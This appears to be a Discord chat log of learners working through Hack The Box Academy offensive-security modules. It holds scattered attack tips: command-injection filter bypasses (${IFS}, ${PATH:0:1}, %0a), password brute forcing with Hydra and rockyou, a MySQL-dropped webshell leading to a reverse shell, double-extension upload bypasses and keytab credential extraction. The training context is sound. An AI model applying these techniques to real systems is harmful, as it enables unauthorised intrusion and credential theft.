modules

[next bronze]

hydra on the https endpoint works for me btw, but you don't need to access it to do the question

[tame ivy]

Hello Everyone,

just used linpeas, showing it is container, and on /proc mounted looks likes exploitable, does someone know what is this? didnt see this on academy

[wraith spoke]

ATTACKING COMMON APPLICATIONS
Application Discovery & Enumeration
When i run aquatone, this is the output page, any ideas on what i did wrong?

[next bronze]

there are filters you need to bypass

[rough acorn]

I tested with your command line and I still getting errors, this is very weird.

What's the intented way? Brute force login on SMTP? It seems very fragile and will fail if I run more than 1 connection at a time.

[next bronze]

there are other services running

[leaden pond]

Yeah, I've been successful with using ${IFS} instead of spaces, ${PATH:0:1} instead of forward slashes, separting letters with single quotes, using %0a instead of an ampersand. But I still can't read the flag. If I try to use a space or a backslash, I get an explicit error message, but I've been able to get rid of all the explicit error messages. I just don't get any output when I try to read the flag.

[wraith spoke]

solved, use chromium or chrome not firefox...

[next bronze]

are you able to run id?

[leaden pond]

yes

[next bronze]

then just continue with that and cat the file, don't think there's much more than that

[rough acorn]

ok so I troubleshooted it some more and it seems it was the number of simultaneous connections that were the issue just in case you are interested. Running with -t 1 fixed it

[next bronze]

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts without more context is hard to say, but pretty sure it's not academy related, might want to ask at #boxes

[tame ivy]

thanks sir

[leaden pond]

I just reset the target and the same command I had been using before with no success worked right away.

[rough acorn]

in common services attack skill assessments, are the user.list and pws.list still valid? I just ran hydra against ftp, smtp, rdp and https basic auth with the name ||fiona ||and got no matching password.

[hallow kiln]

if the lists attached to a module don't work and there's nothing on the box hinting at a password or list you can make, then use rockyou.txt

[rough acorn]

good old rockyou, with 1 connection at a time I'll see you guys tommorow! thanks for the tip

[hallow kiln]

you're getting the same error even for ftp and smtp, etc.?

[rough acorn]

That's fixed, the issue was too many connections at once

Hydra is working just fine now, but I didn't get any hits with the module's password list

[hallow kiln]

I'm not so sure, I use -t 32, -t 48, -t 64 all the time

[fathom pendant]

It depends

[rough acorn]

Everything seems to point to a brute force attack though

[hallow kiln]

ssh demands -t 4, but there's nothing in that module that requires -t 1

[fathom pendant]

I forget what I did for this one

[rough acorn]

I do too usually, but on this box it seems to not work.

[fathom pendant]

Tbh I just looked around

[next bronze]

ftp works

[hallow kiln]

smtp works too

[next bronze]

you don't even need the provided list for that

[fathom pendant]

Isn't this the ||anon|| one?

[hallow kiln]

I think we're still talking about the one with fiona, apologies if I'm wrong

[rough acorn]

yeah I found fiona, it's the easy box

[next bronze]

that's what I thought

[rough acorn]

oh I just ran rockyou and got a hit

[hallow kiln]

there you go

[rough acorn]

The errors plus attached password list threw me on a wild goose chase

thanks for the help lol, it was something very simple in the end.

[lusty thicket]

strange

[halcyon schooner]

Hello ninjas,
any one worked with xfreerdp ?

[hallow kiln]

probably anyone here who didn't start yesterday, what's your question?

[fathom pendant]

nope never heard of it before today

definitely don't know about the goated /drive: option

or /dynamic-resolution

[lusty thicket]

what’s that

[fathom pendant]

i did the smart thing yesterday and zipped up the Windows tools and transferred them to my vm

[hallow kiln]

big brain thinking, I've also done the same

[fathom pendant]

when i initially started the zip my rdp connection dropped

but it was still going after i reconnected so

👍

[halcyon schooner]

It is a remote desktop protocol lib

I get a Certificate verification failure 'self-signed certificate (18)' error

[lusty thicket]

[lusty thicket]

try the option /cert:ignore

[hallow kiln]

there's an option to ignore certificates, check the manual

Wnted already said what it is

[halcyon schooner]

oh I thought It should use certs, ok I'll check that

[fathom pendant]

nah

htb machines you're safe to do /cert:ignore

and even then you CAN just have it connect and accept the cert each time

¯_(ツ)_/¯

[rough acorn]

So I got the flag in Common Service Attack easy skill assessment by checking the file structure in the files on the FTP, dropping a webshell from mysql, accessing through the browser and got a revshell. But ... I feel like that was a bit much for an "easy" box. Did I miss something trivial?

[fathom pendant]

sometimes the difficulty rating is misleading

HTB difficulty in general is different than other platforms

[halcyon schooner]

Thanks @fathom pendant
hmmm, actually I have trust issues in anything on the internet 😄 LOL

[ocean night]

That's healthy 😄

[rough acorn]

There's no mention of webshells so far in the module so I am sure it was a bit overkill

[fathom pendant]

yes; but these are academy modules that you're connecting to with express permission

[fathom pendant]

technically there is

[rough acorn]

don't we all?

[halcyon schooner]

Oh I am not crazy then 😄

[fathom pendant]

but at the same time: iirc that one has a couple different ways to get it

[rough acorn]

If you are a security analyst and not paranoid, you aren't in the right field I am afraid.

[hallow kiln]

I did find the easy skills assessment there to be the most convoluted

[ocean night]

Most of the time on HTB, if you're ever connecting to a service that involves certificates, you'll need to ignore certificate validation as they are self-signed, not signed against a common CA, so yeah.. on HTB it's fine. Public internet, stay vigilant

[hallow kiln]

I wouldn't trust difficulty ratings too much, I've found some medium modules easier than some easy ones, it happens

[halcyon schooner]

Appreciate that advice 🙏 I will

[rough acorn]

For something easy I expected something like smtp enum, brute force the password and RDP.

[fathom pendant]

I would say that's because you're coming fresh off learning it: so it's pushing you in the direction

and you're having to remember something you may have learned a few hours or days ago

[hallow kiln]

it wasn't hard per se, just a lot of steps, but that's all fine

[rough acorn]

If I hadn't done OSCP before this I don't think I would have got that one. I don't think the module mentions webshells.

[fathom pendant]

the module mentions a method of getting a shell

[hallow kiln]

There's a whole Shells & Payloads module before that one

[fathom pendant]

via mysql iirc

[rough acorn]

it's just making me wonder if I didn't skip over something super easy

[fathom pendant]

it's a whole thing

[hallow kiln]

are you doing them out of order?

[fathom pendant]

^

[hallow kiln]

because anything from previous modules is fair game

[fathom pendant]

don't do the pentest path out of order

you will hurt yourself

[rough acorn]

I am since I did the OSCP before. I checking what's missing from my knowledge base to get the OSCP certification.

[fathom pendant]

don't

because the htb modules are gonna be more in-depth than what OSCP is gonna teach

[rough acorn]

But I'll most likely revisit all of them later

[fathom pendant]

a LOT of the information is built off each other

[hallow kiln]

or do, but you'll run into a bunch of situations like that where the module didn't teach you something, but it was already taught in a previous one

[fathom pendant]

^

while yes the modules are generally self contained

they are assuming other knowledge

[hallow kiln]

this isn't OffSec's "figure it out yourself, loser" approach

[rough acorn]

yes but my time is limited before my exam and I know where I am lacking. Plus it's to succeed in the OSCP, not the CPTS. I will come back to them at one point.

[fathom pendant]

you'll do better at OSCP if you learn the stronger fundamentals

fwiw

[rough acorn]

Lol you tell me. so far HtB is much more interesting. I wouldn't recommend OSCP to anyone over HTB

[hallow kiln]

Yup, pen-200 is a shit course, but we been knew

[fathom pendant]

If you prepare for CPTS you will crush OSCP

is the point being made

[ocean night]

Is Offsec structure still "here's a doc to read", and then pass you to the labs to practice?

Been a while sice I did it

[fathom pendant]

that's a point-of-fact made clear by people who hold both certs

[fathom pendant]

and maybe some AI voice generated vids from what i heard

[hallow kiln]

No, they've copied other platforms and have the modules and exercises online now

[fathom pendant]

the labs are hit/miss or just completely back-asswards

[slender shoal]

Not anymore. but its still bad.

[ocean night]

Interesting, thanks

[rough acorn]

Yeah, thing is, I failed my first attempt with some bullshit box, even my veteran coworkers couldn't figure out it post engagement and anyone I know who got it, failed. I am checking the stuff I know I am lacking from the OSCP first, but I am coming back for all of it, don't worry!

[hallow kiln]

It's an improvement, but it's still crap compared to what else there is on the market, and extra crap compared to CPTS

[analog dock]

Theres 3 standalone boxes though, couldn’t find out the other 2 either?

[ocean night]

I don't believe in shitting on competitors, think we're all doing good in the field. Doesn't stop me from hearing others perspectives 😉

[rough acorn]

I had spent so much time on the big AD by that point I was out of steam.

[fathom pendant]

and like we said: while it's good to brush up on things you don't know -- this path is definitely best done in-order

[hallow kiln]

I only shit on OffSec because it's deserved, there are good vendors outside HTB too, and I recommend those based on context

[fathom pendant]

not pick and choose :P because methods taught earlier (that might be better than offsec's methods) might be MORE beneficial than just strengthening your weak points

[analog dock]

Im waiting for reaction from offsec dev team and then I’ll be starting my oscp journey as well

[rough acorn]

yeah, I am just trying to up my weak points in order to get more general knowledge in my limited time. Otherwise I would. Will check all of them don't worry, so far it's much more interesting.

[hallow kiln]

Some of their newest sets are shit that isn't covered in their course at all

[analog dock]

There’s an issue with the link I got sent to accept the course

[hallow kiln]

And they're adding more

[analog dock]

Personally I’m going through the ad, sqli and privesc modules

I think those will matter the most

[rough acorn]

I completed all exercises sucessfully and got nadda in the end, so yeah. It's a lot of figure it out yourself.

[hallow kiln]

Yeah, I agree

[hallow kiln]

I've done PNPT, most of CPTS and their stupid course in a couple of weeks, still failed the first attempt

[analog dock]

Cpts and their stupid course😄

[rough acorn]

got deleted before I could

[hallow kiln]

Good

[fathom pendant]

probably deleted for a good reason

[hallow kiln]

Sorry, I meant pen-200 as the stupid course 😁

[fathom pendant]

as in a "careful what you say about a closed exam"

[rough acorn]

I know of that.

[fathom pendant]

if you see X on the exam RUN ;)

[analog dock]

I know 😄

[rough acorn]

With all the extra stuff I did post exam i still don't know what I would do more if I ever got the same box.

[hallow kiln]

Same 🤷

[rough acorn]

you got it before too?

[analog dock]

The ad set was unbeatable?

That would give some big issues

40 points down the drain

[hallow kiln]

Yup, I've researched it for weeks and weeks, nothing

[rough acorn]

essentially. Even veteran pen testers didn't figure out how to approach it.

[hallow kiln]

Yeah, I know plenty of pentesters haven't been able to do shit on that indeed

All we can do is pray we get a different one next time

[rough acorn]

yeah, makes you wonder if it's so you buy more attempts 🤔

[analog dock]

Getting scared now 😄

[hallow kiln]

It's the newest set and most people are now getting that one

[rough acorn]

plus I despise how they spy on you through your webcam for 24h, not doing that again once I get that cert. Very unpleasant.

[analog dock]

So even cpts module won’t be enough?

[hallow kiln]

Yup, it's not enough

Zephyr wasn't enough either

[analog dock]

I got crte material as well

[rough acorn]

As long as you don't get that one AD you should be fine... I think?

[hallow kiln]

I really don't mind the proctoring, but I'm not getting anything else from OffSec

[analog dock]

Or I need to root all the standalones

[hallow kiln]

I rooted two, got user on the 3rd

[rough acorn]

if you have done 80% of the exercises

[analog dock]

Yeah I’m going to get bonus points for sure

Those 10 can make or break sometimes

[hallow kiln]

Definitely get those, yeah

[rough acorn]

If I get the same box I just focus 100% on the standalones and I think I'll be fine.

If you got the bonus points you can ignore the AD, but I was so focused on getting it that I was too tired by the end to root 3 boxes

[analog dock]

You’ll get it next time

[rough acorn]

hey don't jinx it!

[hallow kiln]

Pay harder

[rough acorn]

😆

the HtB courses sure are making me more confident though. Just not against that AD

[hallow kiln]

It haunts me in my nightmares, I hope one day we find out what that was about

[rough acorn]

I am not into satanic rituals sadly. Have you seen the horned jenkins on the oops pages? I see it in my nightmares too!

https://technologyconversations.files.wordpress.com/2016/02/jenkins-devil.png

[fathom pendant]

if you didn't buy any cubes or have an active subscription the pwnbox is extremely limited in it's internet access

yes: nothing is stopping you from downloading and setting up your own vm though

[craggy ridge]

hey guys whats up

[fathom pendant]

not a gen chat: read #welcome and #rules ; #welcome will explain as well how to gain access to more of the server (including the Gen chat)

[upper ruin]

Hey wsg y'all.

Check Carlos' crontab, and look for keytabs to which Carlos has access. Try to get the credentials of the user svc_workstations and use them to authenticate via SSH. Submit the flag.txt in svc_workstations' home directory.

Password Attacks - Linux PTT

I know the answer, I found it without the actual need to SSH as I could just cd into svc's dir.

The problem is the following:
I found john's keytab, hash and password, any idea where I can search for svc's credentials?

Checked the crontab -l, found a script, ran it, nothing happened.

[fathom pendant]

maybe check where the script points to

there's ways to extract info from a keytab and ccache :P

[rustic sage]

Hey everyone

[halcyon schooner]

A quick stupid question :D, if I cannot ping academy running machines, is there any quick troubleshooting steps I should count?

• I am connected through HTB openvpn via udp: 1337 => Initialization Sequence Completed
• pinging google works
• pinging machine =>

$ping 10.129.33.67 -c 1
PING 10.129.33.67 (10.129.33.67) 56(84) bytes of data.

--- 10.129.33.67 ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms

[upper ruin]

True, haven't checked ccache.

[fathom pendant]

end the connection, rm the file, download a new one

change to tcp; and changing server region also helps

[halcyon schooner]

noted Thanks ♥

[rustic sage]

@fathom pendant can u please remind me what should I do ? I kinda forgot

[fathom pendant]

the thing

[rustic sage]

#welcome #rules ? I did read them

[fathom pendant]

idk man i'm not you so idk what you need or want

[rustic sage]

Nothing too special

[fathom pendant]

there's instructions at the bottom of #welcome

on how to access more of the server

[rustic sage]

I just wanna know the next step

[fathom pendant]

jesus christ

[rustic sage]

I'll try

[fathom pendant]

don't try, do

[upper ruin]

chill marc

[rustic sage]

@fathom pendant can we chat on private real quick?

[fathom pendant]

you need an account on http://app.hackthebox.com/ to be able to verify

[fathom pendant]

no

[rustic sage]

I did made an account yesterday and did read the #welcome #rules

Now I have to get to another sever ?

[fathom pendant]

then follow the instructions at the bottom of #welcome it's not that difficult

[fathom pendant]

i never said to go to another server

the instructions are there under the verification section

pretty quick and easy steps

[rustic sage]

#bot-commands these ?

[fathom pendant]

that's another channel

not another server

[ocean night]

Damn, read and do

You got this

[upper ruin]

Yeah, I saw the .kt thingy, I even checked it before...I doubt however that this is Kotlin related, which .kt is about.

[fathom pendant]

that extension is also used for keytabs

[rustic sage]

I swear I tried to send a pic
Anyway thanks

[ocean night]

You don't need to send a pic, you type the command with your account identifier

[fathom pendant]

can't send a pic here unless you verified/linked your account

[upper ruin]

Oh well...that explains it. Going back to work, thx for the fast response :)

[fathom pendant]

i believe the section explains how to extract info from those files

[upper ruin]

Yeah, I transferred a .py keytabextract.

[fathom pendant]

i thought that was already on the system

might not be though ¯_(ツ)_/¯

sometimes it's 50/50 on the provided hosts

[upper ruin]

We shall see.

[rustic sage]

@fathom pendant I tried to put my information but nothing worked

My email and my password

[upper ruin]

Did you even create an account, fam?

[rustic sage]

I literally wrote them on a paper just in case I forgot

[rustic sage]

Yes yesterday

[fathom pendant]

academy and app are different platforms

[upper ruin]

Oh, well it probably didn't acticate as it might've expected verification on email?

And that^

[fathom pendant]

if you signed up for academy the login is separate from app

[rustic sage]

So what should I do ?

[fathom pendant]

hence why i said WAY earlier that it requires https://app.hackthebox.com account

create an account there

and use the identifier of that account

academy doesn't have an identifier for the account (yet)

[rustic sage]

U know what

Just tell how to delete my acc

[fathom pendant]

why? because you can't be bothered to follow any basic instructions?

lol

[rustic sage]

Exactly 🙂

[fathom pendant]

at least you're self-aware

[upper ruin]

Hm.

[ocean night]

Laters

[fathom pendant]

on https://academy.hackthebox.com/settings if you scroll to the bottom of that page, there's a delete account button

¯_(ツ)_/¯

[upper ruin]

ok aligators

[hallow kiln]

Should be a delete option right in the settings, but I don't see why creating two accounts in 5 minutes tops is a problem

[fathom pendant]

not gonna force you to participate in something if you need to have your hand held at every step

[upper ruin]

[ocean night]

Let's move discussion back to modules, don't need to think about them anymore.

[fathom pendant]

https://tenor.com/view/forget-it-flash-men-in-black-will-smith-gif-19235596

[upper ruin]

[hallow kiln]

The modules, yes, they're great, love them

[upper ruin]

Am I a mazochist.

Fo renjoying password attacks.

[ocean night]

Very..modualistic

[fathom pendant]

you getting this figured out?

[upper ruin]

Yup, got the password already.

[fathom pendant]

sweet! also there's another enumeration tool they use: i highly suggest it - very helpful for the last question

[hallow kiln]

So modular indeed, and those sections

[upper ruin]

But I don't thing svc-s home should be accessible. ( without the svc's password,

[fathom pendant]

don't think too hard about it

[upper ruin]

Once I approach it , I will be sure to regard my matter to you.

[fathom pendant]

svc is a service account it needs to be accessible by other users, in-general

[upper ruin]

https://tenor.com/view/write-that-down-taking-notes-school-universities-university-gif-17937210

I wonder if I could've bruteforced the entries.

[fathom pendant]

service accounts are definitely unique

maybe but would you have actually learned anything? ¯_(ツ)_/¯

[upper ruin]

True.

[fathom pendant]

aside from "swing hammer until it works"

[upper ruin]

Mhm.

Kerberos is actually amazing.

As a concept. I love it.

[regal stream]

I receive the following error when attempting to start a target in Password Attacks > Pass the Ticket (PtT) from Linux: "You don't have enough permissions to create a genesis."

EDIT: Fixed by launching another target in another module and then relaunching the original.

[austere sandal]

gagbit it

[eternal tusk]

Hi @fathom pendant, can you help with the selection of the right module to develop new skills for a CISSP cert

[hallow kiln]

Why ask a specific person without even knowing if they have that cert?

Someone in #careers-and-certs might be able to advise on that

[buoyant escarp]

wow, finished the Hashcat module, didnt know that Hashcat has so much more to offer than dictionary attacks

[fathom pendant]

https://tenor.com/view/who-are-you-people-spongebob-patrick-gif-7335905

[fathom pendant]

fun fact: hashcat has an output mode 👀

[buoyant escarp]

what do you mean with that?

[solar grove]

File Upload
The above exercise uses a blacklist and a whitelist test to block unwanted extensions and only allow image extensions. Try to bypass both to load a PHP script and run code to read the "/flag.txt" file. I am stuck on this question. I find a few working payloads from burpsuit but after pasting them in the url I keep getting 404 found error.

[fathom pendant]

just that hashcat has an output mode xD so you can output to a file instead of forgetting and needing to run with --show

[solar grove]

HELP ME

[buoyant escarp]

ah got it, just like in nmap

[fathom pendant]

yep lmao, know how much headache that saves?

[buoyant escarp]

ya especially when using tmux and cant scroll up so the output is capped xD

[fathom pendant]

i played around with it a bit last night

-o file.cracked --output-format=2 gives you just the plaintext password (not the username associated with it)

[buoyant escarp]

good when cracking big lists

[solar grove]

File Upload HELP ME !
The above exercise uses a blacklist and a whitelist test to block unwanted extensions and only allow image extensions. Try to bypass both to load a PHP script and run code to read the "/flag.txt" file. I am stuck on this question. I find a few working payloads from burpsuit but after pasting them in the url I keep getting 404 found error.

[buoyant escarp]

https://tenor.com/view/kto-kounotoritoken-kounotori-lbow-storkholders-gif-25676340

[fathom pendant]

you don't have to repeat yourself

[lusty thicket]

go through the section again and use the same payloads

[upper ruin]

The time has come...

Even if it's 3:16 AM.

[fathom pendant]

we honestly do not care

[upper ruin]

Wsg Anders.

[fathom pendant]

the gen chat is elsewhere

[lusty thicket]

hello anders_hack-tech

[fathom pendant]

read #welcome to find out where

[slender shoal]

Please read #rules and #welcome to gain access to #general.

[fathom pendant]

hey @slender shoal peep @ their profile

[slender shoal]

Just did.

..

[fathom pendant]

seems like they're just here to advertise their services

[upper ruin]

BrUh

No services

!!!

[fathom pendant]

@upper ruin i've learned to spot these kinds of things

sirg the #rules read them

[upper ruin]

I already think You have some RandomServiceOfferRadar.py

Running on MarcieLee@root

[fathom pendant]

i'm just experienced in spotting this shit from a mile away; even without the profile it smelled fishy

[upper ruin]

Meh, I get paranoid about secret QAs.

That's about it.

Anyways:

[fathom pendant]

username was a dead giveaway to def look at the profile

[buoyant escarp]

you have big antennas MarcieLee 😄

[upper ruin]

Got that name of the tool, before I die on my desk asleep

[upper ruin]

https://tenor.com/view/antenna-radar-ltu-lietuva-eik-nahui-gif-26465177

[fathom pendant]

look towards the bottom of that section if you haven't already lol

[upper ruin]

Oh, I knew you would say that.

Lilikatz it was..

I think?

[fathom pendant]

linikatz*

[upper ruin]

Or smth related

Yeah.

[buoyant escarp]

btw which module can you guys suggest, which one did you enjoyed most? cant decide which to do next

[fathom pendant]

like mimikatz: but linux

[upper ruin]

Password Attacks.

:))))

[fathom pendant]

i'm doing the pentester job role path tbh

it helps reinforce fundamentals too

[upper ruin]

How far r u into it?

[fathom pendant]

only halfway - got distracted by some bullshit life stuff

:P gotta finish up ad enum soonish

[upper ruin]

I really wanna checkout the senior web pentester

Oo AD, nice

[fathom pendant]

but christmas and stuff

[upper ruin]

Yeah...relatable.

[fathom pendant]

that's best to check out after cbbh

[upper ruin]

Ah.

I expect a new certificate.

[fathom pendant]

yes: CWEE

[upper ruin]

Weeee

[fathom pendant]

the acronym has been known since they dropped Gold Annual

[upper ruin]

Mm.

[buoyant escarp]

on Pentester Job Role im only 34% rn

[upper ruin]

Has a anyone had the urge of rereading everything twice or thrice.

Even after a module is completed.

[upper ruin]

Same, just on the end on password attacks.

[fathom pendant]

do them in order

[hallow kiln]

if you're doing the pentester path, it should be in order

[fathom pendant]

[buoyant escarp]

im doing no path tbh

[fathom pendant]

there are concepts in the path that you're expected to know from other modules (or if you already know them)

you're just stating in general that if you were doing it, you'd be 34%?

[hallow kiln]

picking modules at random?

[buoyant escarp]

yes its a hobby rn
trying to get an apprenticeship, after that i want to become a pentester

bug bounty hunter is 66%

[fathom pendant]

tbh if you want to become a pentester, do the path itself in order

don't just do random

just finish the modules there in order

[buoyant escarp]

might be wise to do so

[fathom pendant]

:P you might learn a bit more than you think you know

[buoyant escarp]

i enjoyed the most in the NoSQL module btw

[solar grove]

@lusty thicket@fathom pendant Thanks for no help other than empty talk.

[hallow kiln]

I mean Wnted definitely gave a valid tip 🤷

[fathom pendant]

you're not owed any specific help :P and I've seen Wnted be more right than most in that reading the section you might find that one of the examples works

you're needing to bypass an image filter to run php code is what they give you so you need to do something like x.php.png or something along those lines

¯_(ツ)_/¯

but the section should be more specific about it

[solar grove]

@fathom pendantIf you read what I asked you would understand that I passed the filter but I can't access the website. You're not reading properly. But you advise me to read it again?

[slender shoal]

Be nice.

[upper ruin]

Else....

Bonk

[buoyant escarp]

heated

[upper ruin]

[fathom pendant]

well if you're getting a 404 then you're doing something wrong

¯_(ツ)_/¯

[solar grove]

I'm shutting up. I'm very angry tonight. I'm sorry if I offended you. I've been in the same place for 7 hours.

[fathom pendant]

or you're accessing the resource incorrectly

[fathom pendant]

then step away, take a break and come back with fresh eyes and brain tomorrow

[upper ruin]

I have been on one section for an entire week.

[opaque gale]

Just imagine how good it will be when you figure it out 🙂

[upper ruin]

Not once did I get mad.

Maybe, that's because my aggression pours out at muay thai sparring.

Damn, that's a loophole -> be stuck on a module for a week -> beat people up in sparring + try harder.

[fathom pendant]

the thing about this chat is it's community driven, when you come in ENTITLED to have your question answered then you're likely gonna be disappointed when the answer was staring you in the face of your impatience ¯_(ツ)_/¯

[upper ruin]

Well, I always search the question if it has been regarded before.

And every single one is

[fathom pendant]

that also helps :P you're likely not the first person to come here with that issue

[upper ruin]

Yup.

[fathom pendant]

and sometimes it's just you flipped a and b order around

[buoyant escarp]

we should rename this chat to support, now we are slaves, we need to help 😄

[fathom pendant]

like forgetting to start a listener before accessing your shell

[upper ruin]

Oh that's a pain in the ahh.

[fathom pendant]

or in the live engagement for shells and payload: forgetting to use the internal IP address

[upper ruin]

Or mistaking the IP for the reverse shell.

Oh yeah LOL

[fathom pendant]

point is: everyone dum

[hallow kiln]

type flag.txt on Linux after you've been at it all day

[upper ruin]

Hhahahaha

[fathom pendant]

unless you're @mossy solstice then you're just cracked

❤️ sorry for ping bakki

[upper ruin]

I will surpass

Promise

[fathom pendant]

nah dude, kid's an actual prodigy

[upper ruin]

I hope I don't go to jail, beforehand

[hallow kiln]

Bakki? Nah, no one's surpassing him

[upper ruin]

Aight bet

[fathom pendant]

not even 18 and doing maldev R&D for work; and making his own C2

[upper ruin]

What the f

[hallow kiln]

Yeah, people ain't joking when they say prodigy

[upper ruin]

Y'all weren't joking about the kid part

[mossy solstice]

its ok LOL

yes im kid

[upper ruin]

@mossy solstice how old is u

[mossy solstice]

17

[upper ruin]

I think he caps

[mossy solstice]

💗

[upper ruin]

I don't trust u man

You told everyone

[mossy solstice]

lmfao why would i lie

[upper ruin]

U r secretly nsa

[mossy solstice]

i wish

[hallow kiln]

Makes me feel too old for this

[upper ruin]

Makes me feel inferior as fuck

And dumb

[fathom pendant]

bakki just has an insane drive for knowledge

[upper ruin]

Lemme be an annoying HR

Cpts where???

[fathom pendant]

he does not care for certs

[solar grove]

I solved the room before I died. I'm going to bed. I apologize for my bad words, good night.

[upper ruin]

What a chad

[hallow kiln]

You don't need no certs, when you've got pure genius

[fathom pendant]

i mean why would he if he's already got a job in the field

[upper ruin]

Good point

What

17...job?

In the field????

[mossy solstice]

imma be real ur never really too old for this unless you have dementia or alzheimers or smth like that

[fathom pendant]

ye bakki is in a country where he can have a jerb at 17

[hallow kiln]

^

[fathom pendant]

or severe brain damage

[mossy solstice]

i mean making ur own c2 not necessarily impressive its moreso the stuff i wanna add to it that i guess makes it based

[upper ruin]

Damn

[fathom pendant]

🪞

[upper ruin]

Not just any job, but in the field.

Respect.

[fathom pendant]

i wouldn't compare yourself to bakki tbh ¯_(ツ)_/¯

[mossy solstice]

comparison thief of joy remember

[upper ruin]

Bible says it

!!!

[fathom pendant]

he's an example that if you have clear skill: then certs are just fancy toilet paper

[buoyant escarp]

like school degrees

[hallow kiln]

Yeah, it's not gonna stop me, but it might have been better if I'd figured this out a decade ago

[mossy solstice]

@hallow kiln i root for you ull make big moves

imma be real

even me wishes i started younger its a bias you'll never get away from no matter how young

[buoyant escarp]

when did you guys started?

i did 2 yrs ago

[upper ruin]

3 months

[fathom pendant]

if i had not actually stopped learning 10 years ago i'd probably be at a decent level now ¯_(ツ)_/¯

[upper ruin]

I am slow af

[mossy solstice]

skillset that got me my job was a year ago but i actually started htb maybe 2 years ago

[hallow kiln]

Beginning of this year, I'd tried a couple of years ago, but life got in the way, so had to begin from scratch

[mossy solstice]

maybe more, used to do web and stuff

[fathom pendant]

I got stuck in the trap of wanting someone to mentor me

and not wanting to learn the info for myself

[buoyant escarp]

i did game dev before, wish i've started earlier with htb

[hallow kiln]

I've always liked learning things for myself, never thought about mentoring, it includes talking to people and shit

[mossy solstice]

i wanted to do game dev too but it got boring

also hearing stories about how it goes in companies its uhhhh yeah, passion is cool mental health is cooler

[hallow kiln]

Yeah, I've got friends in the gaming industry, it's a mess

[fathom pendant]

crunch time go brrr

[mossy solstice]

yeah part time tho

[fathom pendant]

(because AAA is too much of a bitch to actually admit they overpromised)

take it full time after you grad/turn 18?

[mossy solstice]

yeah after i grad

ill see, i got other plans and opportunities

[hallow kiln]

I imagine you'll never run out of opportunities with your skills

[mossy solstice]

i seen people that in comparison i look like a noob too almost be homeless, u never know sometimes luck does not go brrr

but yeah its just specializing that does wonders

[hallow kiln]

All the best to you, you've got the skills and the drive to get places

[mossy solstice]

yeah just saying like sometimes u just get unlucky doesnt mean you shouldnt try

[buoyant escarp]

there is always bigger fish

[mossy solstice]

there is no objective best either ways

[mossy solstice]

never

i was already asked if i wanted osep but truth is i cbf with taking the exam

i did cybernetics which is apparently osep like and it was fun but ehhhhhhh

i would maybe consider cpts if the course wasnt mandatory

just cuz i have a lot of friends doing it and im wondering how painful it would be

[solar zodiac]

Hi everyone! Has anyone done the ADCS module? Im stuck on the last question of the skills assessment. Getting an odd certipy error so I'm not quite sure what is going wrong even with the -debug flag. Any help would be greatly appreciated 🙂

[hallow kiln]

They really should get rid of the mandatory course completion thing

[mossy solstice]

yeah only to relate to the pain of some people

i didnt really hack in so long i know i would probably get slapped

by flag 9

[hallow kiln]

I will find out what that's about soon™️

[alpine prairie]

Hi does anyone know you to get the answer for the first question( What is the URL of the WordPress instance? ) in Attacking Common Applications - Skills Assessment II ive tried Fuzzing and keep getting the 302 errors and cant find it, im using this command and other a like ffuf -w /usr/share/SecLists/Discovery/Web-Content/CMS/wordpress.fuzz.txt -u http://gitlab.inlanefreight.local:8180/FUZZ

[solar zodiac]

got it working! hehe it helps to play around with teh flags 🙂

[solar zodiac]

Awesome module! I love academy 🙂

would love to see some cloud stuff 😄

or windows binary exploitation other than vanilla buffer overflows 🙂

[heavy marsh]

Socks5 Tunneling with Chisel Module:

Anyone find a workaround for this?

Posted in erratum already, but I'm wondering what kind of workaround there is. I searched the post history and it seems as though a lot of users have had the same issue.

[fathom pendant]

just use a different pivot/tunnel method

might not be the official method

but it's what I did

[heavy marsh]

What method for this one?

I'm trying to work through the module as I read it.

I can go back to another one if that's necessary.

[candid lily]

on password attacks skills assessment - Hard how do i transfer B******.v** to my machine

i tried smb and nfs but they fail always

[heavy marsh]

Will Sshuttle work?

[fathom pendant]

most other methods work

[fathom pendant]

if doing xfreerdp you can mount a drive by doing /drive:name,/path/ *you can also do relative paths like ./ tells it to mount the current dir you're in

[candid lily]

O.O thanks i will give it a try

[wheat dirge]

What does the word "give" mean in your sentence?

[plucky mural]

You're gonna need to disable CGO and recompile the binary on your host, Or compile the binary on your target, thats obviously an incompatible C lib dependency issue. CGO by default is enabled and allows you to invoke C code from Go code, try to use export CGO_ENABLED=0 when compiling the binary again. Read more on that. sometimes solving a problem brings clarity on a whole other subject.

I dont recall personally having that issue, maybe because I compiled it months before I used it on that box and my C lib was in sync with the version on the target.

[sly dome]

compile it statically

[candid lily]

https://stackoverflow.com/questions/61319677/flags-needed-to-create-static-binaries-in-golang

[naive storm]

Hey can anyone help me with pivoting assessment?

[fathom pendant]

https://tenor.com/view/if-you-think-of-an-gif-20132469

[candid lily]

in password attacks - hard, how to mount the B*****.v** file

[fathom pendant]

You can search this channel. Plenty of articles

https://medium.com/@kartik.sharma522/mounting-bit-locker-encrypted-vhd-files-in-linux-4b3f543251f0

This is one of the easiest to follow

[candid lily]

it doesnt work in wsl

is there any other method

[fathom pendant]

Well idk about wsl, try transferring to host and mount on host then

¯_(ツ)_/¯

[candid lily]

my windows doesnt have bitlocker either :(

[fathom pendant]

What errors do you get in wsl?

Your windows doesn't have to have bitlocker my guy

[candid lily]

then how can i mount

[fathom pendant]

Google: mount vhd windows

[candid lily]

oooo it works

[analog dock]

On windows? I believe it’s as simple as right clicking and mount

[fathom pendant]

[candid lily]

i was trying to open it from wsl partition

now i moved the windows

[fathom pendant]

But also this is another L for wsl

I've had it work pretty well in a regular linux vm

[candid lily]

bruh it is not asking me the password

ooo nvm

figured it out

[sly dome]

HAHAHAHAJ are u for real?

[candid lily]

i had to click from the drive instead i was clicking the vdh file

[supple gorge]

I got the answer to these 2 questions through brute forcing it (well, more that I made a dictionary attack) lol... for the first one, I essentially tried all powersploit commands... for the second i got all exe and went trying... I have the right answer but need help understanding. (the first one for instance I have no clue how to arrive at the answer properly, the second one I sort of do but I don't understand why that's the answer). If anyone has any insight's I would appreciate it.

• 2 Extract and scrutinize the memory content of the suspicious PowerShell process which corresponds to PID 6744. Determine which tool from the PowerSploit repository (accessible at https://github.com/PowerShellMafia/PowerSploit) has been utilized within the process, and enter its name as your answer.

